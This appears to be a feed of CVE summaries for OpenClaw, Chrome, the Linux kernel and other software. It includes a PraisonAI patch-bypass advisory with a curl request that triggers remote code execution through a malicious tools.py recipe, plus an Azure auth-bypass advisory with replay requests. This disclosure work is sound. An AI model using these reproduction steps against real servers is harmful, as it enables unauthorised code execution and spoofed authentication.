Environment variable namespace collision in OpenClaw npm package before version 2026.4.20 enables malicious workspace dotenv files to override critical runtime control variables including OPENCLAW_GIT_DIR, potentially redirecting trusted operations like source updates and installer flows to attacker-controlled paths. Exploitation requires user interaction (opening a malicious workspace) but no authentication, achieving high confidentiality and integrity impact within the local scope. CVSS 8.5 severity reflects the local attack vector with low complexity. No active exploitation confirmed (not in CISA KEV), but public exploit code exists via the GitHub security advisory demonstrating the attack surface. Fixed in version 2026.4.20 per vendor commit 018494fa.
Local privilege escalation in WatchGuard Agent for Windows allows authenticated users to execute arbitrary code with elevated system privileges through DLL hijacking. The agent searches for dependencies in user-controllable directories, enabling attackers with standard user credentials to plant malicious DLLs that load when the service starts. WatchGuard has released version 1.25.03.0000 to address this uncontrolled search path vulnerability (CWE-427).
Hard-coded cryptographic key in WatchGuard Agent for Windows enables local authenticated attackers to inject malicious code into existing agent processes, achieving high-impact confidentiality, integrity, and availability compromise. WatchGuard Agent versions prior to 1.25.03.0000 are affected. CVSS v4.0 score of 8.5 reflects local attack vector with low complexity and low privilege requirements, though no active exploitation (KEV) or public POC has been identified at time of analysis. The vulnerability's CWE-321 classification indicates embedded cryptographic material that could be extracted and reused for process injection attacks.
Authentication bypass in OpenClaw's MCP loopback interface allows local low-privilege attackers to escalate to owner-level access. Non-owner MCP client processes can spoof the 'x-openclaw-sender-is-owner' HTTP header to impersonate the owner and access owner-gated operations. Publicly available exploit code exists via GitHub commit 3cb1a56, and VulnCheck has published a detailed advisory. The vulnerability affects OpenClaw npm package versions <= 2026.4.21, with patch 2026.4.22 available since April 2026.
OpenClaw before 2026.4.22 contains a time-of-check/time-of-use race condition in OpenShell sandbox filesystem writes that allows authenticated attackers to redirect file writes outside the intended mount root via symlink swaps. By exploiting the window between sandbox validation and actual file write operations, an attacker with local access can manipulate symlinks to bypass sandbox filesystem restrictions and write arbitrary files to locations outside the workspace.
Out-of-bounds memory access in Linux kernel's Microchip IPC mailbox driver allows local attackers to achieve arbitrary code execution with high integrity and confidentiality impact. The mchp-ipc-sbi driver incorrectly indexes a dynamically allocated cluster configuration array using non-contiguous hardware thread IDs (hartid) instead of sequential CPU IDs, causing reads/writes beyond array bounds on systems where hartid values exceed the number of online CPUs. Vendor patches available for stable kernel series 6.18.16, 6.19.6, and mainline 7.0. EPSS score of 0.02% suggests low probability of mass exploitation despite high CVSS severity, with no active exploitation confirmed at time of analysis.
## TL;DR CVE-2026-40287's fix gated `tools.py` auto-import behind `PRAISONAI_ALLOW_LOCAL_TOOLS=true` in **two** files (`tool_resolver.py`, `api/call.py`). A **third** import sink in `praisonai/templates/tool_override.py` was missed and remains unguarded. It is reached by the recipe runner on every recipe execution and is **remotely** triggerable through `POST /v1/recipes/run` with a `recipe` value pointing at any local absolute path *or* any GitHub repo (because `SecurityConfig.allow_any_github` defaults to `True`). The attacker drops a `tools.py` next to `TEMPLATE.yaml`; the server `exec_module()`s it. No auth required by default, no environment opt-in required. ## Patch coverage gap CVE-2026-40287 was fixed in v4.5.139 by adding an env-var gate at: | File | Line | Gate | |---|---|---| | `praisonai/tool_resolver.py` | 77 | `if os.environ.get("PRAISONAI_ALLOW_LOCAL_TOOLS", "").lower() != "true":` | | `praisonai/api/call.py` | 80 | same | But the equivalent sinks in `praisonai/templates/tool_override.py` were **not** patched: ```python # tool_override.py - create_tool_registry_with_overrides() 332 cwd_tools_py = Path.cwd() / "tools.py" 333 if cwd_tools_py.exists(): 334 try: 335 tools = loader.load_from_file(str(cwd_tools_py)) # <-- exec_module 336 registry.update(tools) 337 except Exception: 338 pass 339 341 # 4. Template-local tools.py 342 if template_dir: 343 tools_py = Path(template_dir) / "tools.py" 344 if tools_py.exists(): 345 try: 346 tools = loader.load_from_file(str(tools_py)) # <-- exec_module 347 registry.update(tools) 348 except Exception: 349 pass ``` `load_from_file` (line 84-94) ends in `spec.loader.exec_module(module)` with no allowlist, no signature check, no env gate. Both call sites run unconditionally on every recipe execution. ## Attack chain ``` HTTP POST /v1/recipes/run body: {"recipe": "<abs path>" | "github:<owner>/<repo>/<recipe>"} │ ▼ recipe/serve.py:483 run_recipe(request) ← auth=none default │ ▼ recipe/core.py:215 recipe.run(name, ...) │ ▼ recipe/core.py:686 _load_recipe(name) └─ ".." check only; absolute paths and URIs allowed │ ▼ templates/loader.py:94 TemplateLoader.load(uri) │ ▼ templates/security.py:130 is_source_allowed("github:*") └─ allow_any_github=True default → returns True │ ▼ templates/registry.py fetch repo from raw.githubusercontent.com → cache dir │ ▼ templates/security.py:215 validate_template_directory(cached.path) └─ .py is in allowed_extensions → tools.py kept │ ▼ recipe/core.py:887 _execute_recipe(recipe_config, ...) │ ▼ recipe/core.py:943 create_tool_registry_with_overrides( include_defaults=True, template_dir=recipe_config.path) │ ▼ templates/tool_override.py:341-349 load_from_file(template_dir/tools.py) │ ▼ templates/tool_override.py:94 spec.loader.exec_module(module) ← RCE ``` The tool registry build runs *before* any LLM/agent step, so `OPENAI_API_KEY` and similar are not required. A recipe with an empty `workflow.steps: []` is sufficient - the payload fires during registry construction. ## Confirmed execution (2026-04-25, praisonai 4.6.31) ``` SERVER stdout (PID 43784): Uvicorn running on http://127.0.0.1:8765 127.0.0.1 - POST /v1/recipes/run HTTP/1.1 [CVE-2026-40287-bypass] RCE fired. Marker written to: …/praisonai_pwn_1777094071.txt 127.0.0.1 - "POST /v1/recipes/run" 500 Internal Server Error Marker file: pid: 43784 ← matches server PID argv: ['server.py'] ← server process, not exploit ``` The 500 response is a downstream side-effect of `workflow.steps: []` failing to construct a runnable workflow; the `exec_module(tools.py)` call runs *before* that error. The attacker payload has already executed in the server process by the time the 500 is sent. ## Reproduction (local-path variant) Files under `pocs/praisonai-cve-2026-40287-bypass/`: - [evil_recipe/TEMPLATE.yaml](https://github.com/user-attachments/files/27079207/TEMPLATE.yaml) - minimal recipe metadata - [evil_recipe/tools.py](https://github.com/user-attachments/files/27079210/tools.py) - payload (writes a marker file in tempdir) - [server.py](https://github.com/user-attachments/files/27079211/server.py) - starts `praisonai.recipe.serve.create_app({})` on `127.0.0.1:8765` (default `auth: none`) - [exploit.py](https://github.com/user-attachments/files/27079214/exploit.py) - single POST to `/v1/recipes/run` ```bash pip install 'praisonai[serve]==4.6.31' # Terminal 1 python server.py # Terminal 2 python exploit.py ``` Expected: server stdout shows `[CVE-2026-40287-bypass] RCE fired.`; a `praisonai_pwn_<timestamp>.txt` file appears in the system temp directory containing user, host, pid, cwd captured from inside the server process. ## Reproduction (remote GitHub variant) ```bash # Push evil_recipe/ to https://github.com/<you>/poc-recipe (public repo) curl -X POST http://target:8765/v1/recipes/run \ -H 'Content-Type: application/json' \ -d '{"recipe":"github:<you>/poc-recipe/poc-recipe"}' ``` No filesystem prerequisite on the target. Triggers because `SecurityConfig.allow_any_github` (templates/security.py:30) defaults to `True`.
Local privilege escalation in Johnson Controls AC2000 physical access control system (versions 10.6-12.x) allows authenticated local users to execute arbitrary code with elevated privileges by manipulating DLL search paths. The CWE-427 uncontrolled search path vulnerability enables attackers with low-privilege local access to plant malicious libraries that AC2000 loads during startup or operation, achieving high confidentiality and integrity impact. No public exploit code identified at time of analysis, and CVSS 4.0 local attack vector (AV:L) with low privileges required (PR:L) indicates this requires initial system access but minimal complexity once achieved.
Sandbox escape in Google Chrome prior to 148.0.7778.96 allows remote attackers who have already compromised the renderer process to break out of Chrome's security sandbox via a use-after-free vulnerability in the Navigation component. This requires user interaction with a malicious HTML page and successful renderer compromise as a prerequisite, making it a two-stage attack requiring high attack complexity. Vendor-released patch available in Chrome 148.0.7778.96. No public exploit or active exploitation (CISA KEV) identified at time of analysis. CVSS 8.3 (High) reflects the severe post-compromise impact (sandbox escape enabling system-level access), but real-world risk depends heavily on successful initial renderer compromise.
Sandbox escape in Google Chrome versions prior to 148.0.7778.96 allows attackers who have already compromised the renderer process to break out of Chrome's security sandbox through malicious HTML pages. The vulnerability stems from insufficient input validation in Chrome's Navigation component, requiring both network access and user interaction but enabling complete system compromise (high confidentiality, integrity, and availability impact) once the renderer is compromised. Vendor-released patch available in version 148.0.7778.96, announced via Google's stable channel update.
Sandbox escape in Google Chrome versions prior to 148.0.7778.96 allows remote attackers who have already compromised the renderer process to break out of Chrome's security sandbox via crafted HTML pages exploiting ServiceWorker implementation flaws. This vulnerability requires high attack complexity and user interaction but enables complete system compromise once the initial renderer compromise is achieved. Vendor patch released in Chrome 148.0.7778.96 per official Chrome security bulletin.
Renderer process compromise in Google Chrome for Android before 148.0.7778.96 enables sandbox escape through malicious HTML pages exploiting insufficient input validation in the Media component. Attacker requires user interaction to compromise the renderer first, then can break out of Chrome's security sandbox to execute code with broader system privileges. Vendor-released patch available in Chrome 148.0.7778.96 per Google's May 2026 stable channel update.
Sandbox escape in Google Chrome prior to 148.0.7778.96 on Linux, Mac, and ChromeOS allows remote attackers who have already compromised the renderer process to break out of Chrome's sandbox via a crafted HTML page exploiting a use-after-free vulnerability in the printing subsystem. Despite the 8.3 CVSS score, Chromium rates this Low severity because exploitation requires a two-stage attack chain (initial renderer compromise followed by sandbox escape). Vendor patch released as Chrome 148.0.7778.96. No evidence of active exploitation or public POC identified at time of analysis.
Sandbox escape in Google Chrome versions prior to 148.0.7778.96 allows remote attackers who have already compromised the renderer process to break out of Chrome's security sandbox through a use-after-free vulnerability in the TopChrome component. Attack requires user interaction with a malicious HTML page and has high attack complexity. EPSS data not available; no active exploitation confirmed at time of analysis. Vendor-released patch available in Chrome 148.0.7778.96.
Sandbox escape in Google Chrome on Windows versions prior to 148.0.7778.96 allows attackers who have already compromised the renderer process to break out of Chrome's security sandbox via type confusion in the Accessibility subsystem. The attack requires user interaction with a malicious webpage and successful renderer compromise as a prerequisite, representing a critical escalation path in multi-stage attacks. Vendor-released patch available in Chrome 148.0.7778.96. No active exploitation confirmed (not in CISA KEV), and no public exploit code identified at time of analysis.
Sandbox escape in Google Chrome's GPU component affects versions prior to 148.0.7778.96. An attacker who has already compromised the renderer process can escalate privileges to break out of Chrome's sandbox by exploiting a use-after-free memory corruption vulnerability via a specially crafted HTML page. This requires high attack complexity and user interaction (visiting a malicious page). No active exploitation confirmed at time of analysis, and vendor-released patch (version 148.0.7778.96) is available. EPSS data not provided, but the combination of network vector, changed scope (S:C in CVSS), and sandbox escape capability makes this a priority update for Chrome deployments despite Chromium's 'Medium' internal severity rating.
Sandbox escape in Google Chrome's DevTools component allows attackers who have already compromised the renderer process to break out of the browser sandbox and execute code on the underlying system. Affects all Chrome versions prior to 148.0.7778.96. Google has released version 148.0.7778.96 to patch this vulnerability. The attack requires high complexity and user interaction (visiting a malicious page), but successful exploitation enables complete system compromise with changed scope (S:C in CVSS vector), escalating from renderer-level access to full system access. No evidence of active exploitation (not in CISA KEV) or public proof-of-concept identified at time of analysis.
Renderer sandbox escape in Google Chrome versions prior to 148.0.7778.96 leverages an out-of-bounds write in the Skia graphics library. An attacker who has already compromised Chrome's renderer process through other means (such as a separate browser vulnerability) can deliver a specially crafted HTML page to break out of Chrome's security sandbox, gaining elevated code execution on the underlying operating system. EPSS data not available; no CISA KEV listing identified. Google has released Chrome 148.0.7778.96 addressing this high-severity flaw, classified as CWE-787 (Out-of-bounds Write) affecting the Skia graphics rendering engine.
Sandbox escape in Google Chrome via ServiceWorker use-after-free allows remote attackers to break out of Chrome's security sandbox through a specially crafted HTML page. Affects all Chrome versions prior to 148.0.7778.96. EPSS data not yet available for this recent CVE. Google has released a patch in version 148.0.7778.96. While rated high severity by Chromium project, the attack complexity is high (AC:H) and requires user interaction (UI:R), limiting widespread exploitation risk despite the critical scope change (S:C) indicating sandbox escape capability.
Sandbox escape in Google Chrome versions prior to 148.0.7778.96 allows remote attackers who have already compromised the renderer process to break out of Chrome's security sandbox through a use-after-free vulnerability in the Skia graphics library. Exploitation requires user interaction with a malicious HTML page and successful prior renderer compromise, representing a second-stage attack rather than initial access. No active exploitation confirmed (not in CISA KEV), though the vulnerability's sandbox escape capability makes it valuable for targeted attack chains.
Sandbox escape in Google Chrome versions prior to 148.0.7778.96 enables remote attackers who have already compromised the renderer process to break out of Chrome's security sandbox through a use-after-free vulnerability in the Aura UI framework. The attack requires user interaction with a malicious webpage and presents high attack complexity, but successfully chains renderer compromise with sandbox escape to achieve full system impact. No active exploitation confirmed (not in CISA KEV), though this vulnerability class is frequently targeted given Chrome's wide deployment and the high value of sandbox escapes.
Sandbox escape in Google Chrome's GPU component prior to version 148.0.7778.96 allows remote attackers who have already compromised the renderer process to break out of Chrome's security sandbox via a use-after-free memory corruption vulnerability triggered by a malicious web page. This represents a critical second-stage attack where initial renderer compromise is chained with GPU exploitation to achieve full system access. Vendor-released patch available in Chrome 148.0.7778.96. No evidence of active exploitation (not in CISA KEV) or public proof-of-concept at time of analysis.
Sandbox escape in Google Chrome on Windows allows attackers who have already compromised the renderer process to break out of Chrome's security sandbox via a use-after-free flaw in the Fullscreen API. Affects Chrome versions prior to 148.0.7778.96 on Windows platforms. Google has released a patch (version 148.0.7778.96) and rated this High severity. No evidence of active exploitation (not in CISA KEV) or public proof-of-concept code at time of analysis, though the vulnerability requires initial renderer compromise making it a second-stage exploitation vector.
Sandbox escape in Google Chrome prior to 148.0.7778.96 enables compromised renderer processes to break out of browser security isolation via malicious HTML. This two-stage attack requires first exploiting a separate renderer vulnerability, then leveraging insufficient validation in the InterestGroups component to escalate privileges. The vulnerability is confirmed patched by Google (chromereleases advisory) with no public exploit code or active exploitation identified at time of analysis. CVSS 8.3 (High) reflects the severe impact of full sandbox escape, though the High attack complexity (requiring prior renderer compromise) limits immediate risk compared to single-stage remote code execution vulnerabilities.
Sandbox escape in Google Chrome for Windows versions prior to 148.0.7778.96 allows remote attackers who have already compromised the renderer process to break out of the Chrome sandbox via a use-after-free vulnerability in the Aura UI framework. The attack requires user interaction with a specially crafted HTML page and has high attack complexity (AC:H), but grants complete control over confidentiality, integrity, and availability with changed scope (S:C). No active exploitation confirmed in CISA KEV at time of analysis. EPSS data not provided, but the vulnerability targets a browser component with over 3 billion users globally.
Heap buffer overflow in Chrome's ANGLE graphics layer enables sandbox escape for attackers who have already compromised the renderer process, requiring user interaction with a malicious webpage. Chrome 148.0.7778.96 patches this High-severity vulnerability. No active exploitation confirmed (not in CISA KEV), and CVSS 8.3 reflects the Changed scope indicating successful sandbox breakout - a critical security boundary failure that elevates renderer compromise to broader system access.
HCL BigFix Service Management (SX) is affected by a Broken Access Control vulnerability leading to privilege escalation. Rated high severity (CVSS 8.3), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
OpenClaw before 2026.4.22 contains a time-of-check/time-of-use (TOCTOU) race condition in the OpenShell filesystem bridge that allows authenticated attackers with local access to read files outside the intended mount root by performing symlink swaps during filesystem operations. The vulnerability affects sandbox security guarantees by enabling bypass of containment restrictions through coordinated symlink manipulation, and has been confirmed patched in version 2026.4.22.
Heap buffer overflow in Linux kernel's nf_conntrack_h323 netfilter module allows remote unauthenticated attackers to trigger 1-2 byte out-of-bounds read via crafted Q.931 SETUP messages to port 1720. The vulnerability affects firewalls with H.323 connection tracking active and can cause information disclosure or denial of service. EPSS score of 0.02% suggests low exploitation probability despite network-accessible attack vector. Patches available across all maintained stable branches (5.10.252, 5.15.202, 6.1.165, 6.6.128, 6.12.75, 6.18.16, 6.19.6, and mainline 7.0).
Out-of-bounds read in the Linux kernel's netfilter xt_tcpmss module allows remote unauthenticated attackers to leak memory contents and potentially cause system crashes via malformed TCP options. The xt_tcpmss TCP option parser fails to validate remaining option length before reading optlen values, triggering memory access beyond buffer boundaries when processing crafted packets. EPSS exploitation probability is low (0.02%, 7th percentile) and no public exploit identified at time of analysis, but the network attack vector (AV:N) and lack of authentication requirements (PR:N) make this exploitable against any system using netfilter with TCP MSS clamping enabled.
OS-level privilege escalation in Google Chrome for macOS allows remote attackers to gain elevated system privileges through malicious network traffic exploiting the Companion component. Affects all Chrome versions prior to 148.0.7778.96 on Mac. Vendor-released patch available (Chrome 148.0.7778.96). No public exploit or active exploitation confirmed at time of analysis, though high-complexity network-based attack vector (CVSS AV:N/AC:H) suggests specialized exploitation requirements despite unauthenticated remote access.
Sandbox escape in Google Chrome prior to 148.0.7778.96 allows remote attackers to break out of Chrome's security sandbox via specially crafted network traffic targeting a policy enforcement weakness in DevTools. The vulnerability requires high attack complexity (CVSS AC:H) but no user interaction, enabling complete compromise of confidentiality, integrity, and availability if successfully exploited. Vendor patch released in Chrome 148.0.7778.96 per official Google Chrome stable channel update. Despite CVSS 8.1 (High), Chromium assigns Low security severity, suggesting limited real-world exploitability or significant attack prerequisites. No active exploitation (not in CISA KEV) or public exploit code identified at time of analysis.
### Summary A server-side authentication bypass in `azureauthextension` allows any party who holds a single valid Azure access token for *any scope the collector's configured identity can mint for* to authenticate to any OpenTelemetry receiver that uses `auth: azure_auth`. The extension's `Authenticate` method does not validate incoming bearer tokens as JWTs. Instead, it calls its own configured credential to obtain an access token and compares the client's token to the result with string equality - and the scope for that server-side token request is taken from the client-supplied `Host` header. As a result, a token minted for any Azure resource the service principal has ever been issued a token for (ARM, Graph, Key Vault, Storage, etc.) will authenticate to the collector if the attacker picks a matching `Host`. Tokens are replayable for the full issued lifetime (commonly several hours for managed identity tokens). Severity: High (CVSS 8.1). See "Threat model" below for the preconditions that inform that score. ### Root cause The extension implements both `extensionauth.HTTPClient` (outbound: "attach my identity to requests I send") and `extensionauth.Server` (inbound: "validate a credential someone presented to me"). Those two interfaces look symmetric but are not: holding a credential to present says nothing about the ability to validate a credential someone else presents. The outbound path only requires `credential.GetToken()`; the inbound path requires JWT signature verification against the issuer's JWKS, issuer/audience/exp/nbf checks, and an algorithm allowlist - none of which the extension does. PR #39178 ("Implement extensionauth.HTTPClient and extensionauth.Server interface functions") added the `Server` path in v0.124.0 by reusing the same credential object and comparing strings. That server-side path is present in every release through v0.150.0. The outbound `HTTPClient` path (used by Azure exporters) is unaffected. ### Details Vulnerable code - `extension/azureauthextension/extension.go:208-235`: ```go func (a *authenticator) Authenticate(ctx context.Context, headers map[string][]string) (context.Context, error) { auth, err := getHeaderValue("Authorization", headers) if err != nil { return ctx, err } host, err := getHeaderValue("Host", headers) if err != nil { return ctx, err } authFormat := strings.Split(auth, " ") if len(authFormat) != 2 { /* ... */ } if authFormat[0] != "Bearer" { /* ... */ } token, err := a.getTokenForHost(ctx, host) // asks the collector's own identity if err != nil { return ctx, err } if authFormat[1] != token { // string comparison, not JWT validation return ctx, errors.New("unauthorized: invalid token") } return ctx, nil } ``` And `getTokenForHost` at `extension.go:187-206`: ```go options := policy.TokenRequestOptions{ Scopes: []string{ fmt.Sprintf("https://%s/.default", host), // client-supplied Host chooses scope }, } ``` Two independent problems compose here: **1. No JWT validation.** Real Entra ID bearer validation requires verifying the JWT signature against the tenant JWKS and checking `iss`, `aud`, `exp`, `nbf`, plus an algorithm allowlist. The extension does none of this. The "expected" value is a token the server mints from its own credential, not a signature to verify. Any party that already holds a valid token for the collector's identity - a co-tenant pod that shares the managed identity, any peer authenticated with the same service principal, any component that retained an `Authorization:` header - can replay it directly. **2. Attacker-controlled audience.** The scope used to mint the "expected" token comes from the client-supplied `Host` header: `https://<Host>/.default`. The `azcore` credential returns a consistent token per (identity, scope) pair within the cache window, so an attacker can pick any scope the SP has been issued a token for and match it by setting `Host` accordingly. This is the sharper of the two flaws: it means a token leaked from an unrelated Azure integration - ARM, Graph, Key Vault, a different Storage account - authenticates to the collector. The correct primitive is a real JWT validator - e.g. `github.com/coreos/go-oidc/v3` pointed at the tenant's discovery endpoint, with audience and issuer pinned *server-side from configuration*, never derived from request headers. ### Proof of concept Both variants assume a collector running with `azureauthextension` v0.124.0-v0.150.0, configured with any credential mode and referenced from a receiver's `auth:` block: ```yaml extensions: azure_auth: managed_identity: client_id: ${CLIENT_ID} receivers: otlp: protocols: http: endpoint: 0.0.0.0:4318 auth: authenticator: azure_auth service: extensions: [azure_auth] pipelines: traces: receivers: [otlp] exporters: [debug] ``` #### Variant A - Replay (same scope) The attacker controls a workload that shares the collector's managed identity (common in AKS when multiple pods bind the same UAMI). Both workloads query IMDS for `https://management.azure.com/.default` and receive the same cached token. The attacker replays: ``` POST /v1/traces HTTP/1.1 Host: management.azure.com Authorization: Bearer eyJ... # token minted for management.azure.com Content-Type: application/json {"resourceSpans":[...]} ``` `Authenticate` calls `getTokenForHost(ctx, "management.azure.com")`, receives the identical cached token, and the string comparison passes. #### Variant B - Scope confusion (the stronger case) The attacker holds a token for the SP issued for a *different* Azure resource - say Key Vault, obtained from an entirely unrelated integration. The collector was never intended to accept Key Vault tokens. The attacker sets `Host` to match: ``` POST /v1/traces HTTP/1.1 Host: vault.azure.net Authorization: Bearer eyJ... # token minted for vault.azure.net Content-Type: application/json {"resourceSpans":[...]} ``` `Authenticate` calls `getTokenForHost(ctx, "vault.azure.net")`. The collector's credential mints (or returns cached) a token for `https://vault.azure.net/.default` - the same token the attacker holds, because both come from the same SP issued for the same scope by the same IdP. Comparison passes. The collector accepts telemetry gated on "proof of identity to Key Vault." In a correct implementation, the JWT's `aud` would be pinned server-side to a value unrelated to `Host`, and Variant B would fail regardless of what the attacker put in the `Host` header. A small Go reproducer can be built around the extension's own test harness: the existing `TestAuthenticate` in `extension_test.go` is effectively a demonstration of the broken behavior - it passes when the client-supplied token equals the server-side token for the given `Host`, which is exactly what an attacker arranges. ### Impact **Vulnerability class:** Improper Authentication (CWE-287), with contributing CWE-347 (Improper Verification of Cryptographic Signature - no JWT validation), CWE-294 (Authentication Bypass by Capture-replay - tokens replayable for full TTL), and CWE-290 (Authentication Bypass by Spoofing - client `Host` header chooses the expected scope). **Threat model / precondition.** The attacker needs to already hold (or be able to obtain) a valid Azure access token issued to the collector's SP for any scope. In practice this is satisfied by: (a) controlling another workload that binds the same managed identity, (b) compromising any peer authenticated with the same SP, or (c) observing an `Authorization:` header from any prior legitimate request for the SP. This is what drives the 8.1 score - the precondition is non-trivial but is routine in multi-workload Azure environments. **Who is impacted.** Any operator of `opentelemetry-collector-contrib` v0.124.0 through v0.150.0 who configured `azureauthextension` on a receiver's `auth:` block. This applies to both HTTP and gRPC receivers - gRPC receivers surface `:authority` as `Host` through the collector's header handling, so the same exploit path applies there. **Deployments most at risk:** - Multi-workload Azure environments where the collector shares a managed identity with other workloads (any such workload can authenticate as an arbitrary telemetry source). - Deployments that forward `Authorization:` headers through proxies, service meshes, or logging pipelines (one leaked token is enough, and persists for the token TTL - typically several hours for MI tokens, not the 60-minute user-token window). - Multi-tenant environments where different customers' telemetry converges at a collector protected by this extension. **Consequences.** Unauthenticated (from the collector's perspective) ingest of arbitrary traces, metrics, and logs. Downstream effects depend on the collector's exporters and include telemetry-backend poisoning, log injection (masking real attacker activity in SIEMs), metric manipulation to trigger or suppress alerts, cost-amplification against pay-per-datapoint backends, and adversarial traces that corrupt service-graph and incident-triage signals. **Not impacted.** The extension's outbound `extensionauth.HTTPClient` path, used by Azure exporters, is unaffected. Operators who use `azureauthextension` only on exporters can continue doing so. ### Mitigation Until a patched release is available, remove `azure_auth` from any receiver `auth:` blocks. For genuine Entra ID JWT validation on OTLP receivers, use `oidcauthextension` pointed at the tenant discovery URL, with audience pinned from configuration: ```yaml extensions: oidc: issuer_url: https://login.microsoftonline.com/<tenant-id>/v2.0 audience: <expected-api-audience> ``` ### Resources - PR introducing the vulnerable server-side path: [#39178](https://github.com/open-telemetry/opentelemetry-collector-contrib/pull/39178) - Affected versions: v0.124.0 - v0.150.0 Assisted-by: Opus 4.7
Out-of-bounds read in Chrome's codec implementation allows remote attackers to extract potentially sensitive data from process memory by delivering a malicious media file. Affects Chrome versions prior to 148.0.7778.96. The vulnerability requires user interaction (opening or playing a crafted file) but operates over the network. Google rated this as Medium severity within the Chromium security framework.
LDAP filter injection in Netflix Lemur certificate management platform allows authenticated users with valid LDAP credentials to escalate privileges to administrator by injecting metacharacters into the username field during login. Attackers manipulate group membership queries to gain unauthorized admin roles, enabling access to all certificates, private keys via /certificates/<id>/key endpoint, and CA configurations. Vendor-released patch confirmed in version 1.9.0 (GitHub advisory GHSA-3r34-vq8m-39gh). CVSS 8.1 indicates high confidentiality and integrity impact with low attack complexity from network-authenticated attackers. No public exploit code identified at time of analysis, though detailed reproduction steps exist in the advisory.
Bluetooth L2CAP implementation in Linux kernel fails to validate encryption key size when processing LE Credit Flow Control connection requests, allowing adjacent network attackers to establish L2CAP connections with insufficient cryptographic strength. This affects kernel versions from 3.14 through 6.19.5, with patches released in stable branches 5.10.252, 5.15.202, 6.1.165, 6.6.128, 6.12.75, 6.18.16, and 6.19.6. EPSS score of 0.01% suggests minimal exploitation likelihood despite the adjacent network attack vector and no authentication requirement. No active exploitation confirmed (not in CISA KEV), and no public exploit code identified at time of analysis.
Nested AMD SVM virtualization in Linux kernel KVM incorrectly handles VMLOAD/VMSAVE emulation, allowing local privileged attackers in L2 guests to read and write L1 guest state, potentially escalating privileges or causing denial of service. This affects kernels since commit cc3ed80ae69f (v5.13+) and has been patched in stable releases 5.15.202, 6.1.165, 6.6.128, 6.12.75, 6.18.16, 6.19.6, and mainline 7.0. With 7.9 CVSS (HIGH severity) but only 0.02% EPSS, this is a lower-probability threat requiring local authenticated access to nested virtualization environments. No public exploit or active exploitation (KEV) identified at time of analysis.
Out-of-bounds buffer writes in Linux kernel ALSA USB audio subsystem allow local authenticated attackers to crash the kernel or potentially achieve privilege escalation. The flaw occurs during implicit feedback mode playback when stream configurations mismatch between capture and playback, causing the prepare_silent_urb() function to write beyond allocated buffer boundaries. Affects all Linux kernel versions from initial commit 1da177e4c3f4 through multiple stable branches; vendor patches available for 5.15.202, 6.1.165, 6.6.128, 6.12.75, 6.18.16, 6.19.6, and mainline 7.0. EPSS exploitation probability is low (0.02%, 7th percentile), and no public exploits or active exploitation confirmed.
Double-free memory corruption in Linux kernel device-mapper subsystem allows local authenticated users to trigger use-after-free conditions, potentially leading to privilege escalation or denial of service. The vulnerability manifests when using request-based DM targets (e.g., dm-multipath) over NVMe devices, where cloned request bios are freed twice due to stale bio pointers in clone requests. Vendor patches available across multiple stable kernel branches (5.10.252, 5.15.202, 6.1.165, 6.6.128, 6.12.75, 6.18.16, 6.19.6, 7.0). EPSS score of 0.02% indicates low predicted exploitation probability; no active exploitation confirmed at time of analysis.
Out-of-bounds memory access in Linux kernel Qualcomm Camera Subsystem (camss) allows local authenticated users to achieve arbitrary code execution, data corruption, or denial of service. The vfe_isr() function iterates beyond the bounds of the vfe->line[] array (size 4) using a loop count of 7, enabling access to memory at offsets +4, +5, and +6. Vendor patches available across multiple stable branches (6.1.167, 6.6.128, 6.12.75, 6.18.16, 6.19.6, 7.0). EPSS score 0.02% (7th percentile) indicates low observed exploitation probability; no active exploitation confirmed (not in CISA KEV).
Use-after-free in Linux kernel's Atmel HLCDC DRM driver allows local authenticated users to execute arbitrary code, escalate privileges, or cause denial of service. The atmel_hlcdc_plane_atomic_duplicate_state() function incorrectly copies plane state without properly duplicating the drm_plane_state structure, leaving a stale commit pointer that triggers use-after-free during subsequent drm_atomic_commit() calls. Vulnerability surfaces when reopening the device node while another DRM client remains attached. EPSS score is low (0.02%) and no active exploitation confirmed at time of analysis, but local privilege escalation potential and vendor-released patches across multiple stable kernel branches indicate genuine risk for systems using Atmel HLCDC display hardware.
Local privilege escalation in Linux Kernel KVM x86 allows authenticated users with low privileges to potentially achieve arbitrary code execution, information disclosure, or denial of service by exploiting a missing SRCU read-side lock when reading PDPTR registers via the KVM_GET_SREGS2 ioctl. The vulnerability triggers a lockdep warning and unsafe memory slot access in __get_sregs2(), affecting Linux kernel versions from 5.14 onward. Vendor patches available across multiple stable branches (6.1.165, 6.6.128, 6.12.75, 6.18.16, 6.19.6). EPSS score of 0.02% (7th percentile) suggests low exploitation probability in the wild, with no public exploit code or CISA KEV listing confirmed at time of analysis.
LoongArch architecture's cpumask_of_node() function in the Linux kernel mishandles NUMA_NO_NODE (-1) as a node index, potentially enabling local authenticated users to achieve high confidentiality, integrity, and availability impacts (CVSS 7.8). Patches available across multiple stable kernel branches (6.1.165, 6.6.128, 6.12.75, 6.18.16, 6.19.6, 7.0) address the improper input validation. EPSS score of 0.02% (7th percentile) indicates low observed exploitation probability. No public exploit identified at time of analysis.
A double-unlock bug in the Linux kernel PCI subsystem allows local authenticated users to trigger lock corruption, leading to privilege escalation, information disclosure, or denial of service. The flaw exists in pci_slot_trylock() where improper error handling after commit a4e772898f8b unlocks a bridge device lock that was never acquired, causing either lock state corruption or unlocking another thread's lock. With CVSS 7.8 (AV:L/AC:L/PR:L) and EPSS of 0.02% (7th percentile), this is a local vulnerability with low exploitation complexity requiring authenticated access. Vendor patches are available across all active kernel stable branches (5.10.252, 5.15.202, 6.1.165, 6.6.128, 6.12.75, 6.18.16, 6.19.6, 7.0). No public exploit code or active exploitation confirmed at time of analysis.
Resource management flaws in the Linux kernel MediaTek MDP driver allow local authenticated attackers with low privileges to trigger memory corruption via improper error handling during device probe initialization, potentially escalating to kernel code execution. Multiple stable kernel branches (5.10.x through 7.0) are affected, with vendor patches released across all maintained versions. No active exploitation confirmed (EPSS 0.02%, not in CISA KEV), though the local attack vector and low complexity suggest straightforward exploitation once local access is achieved.
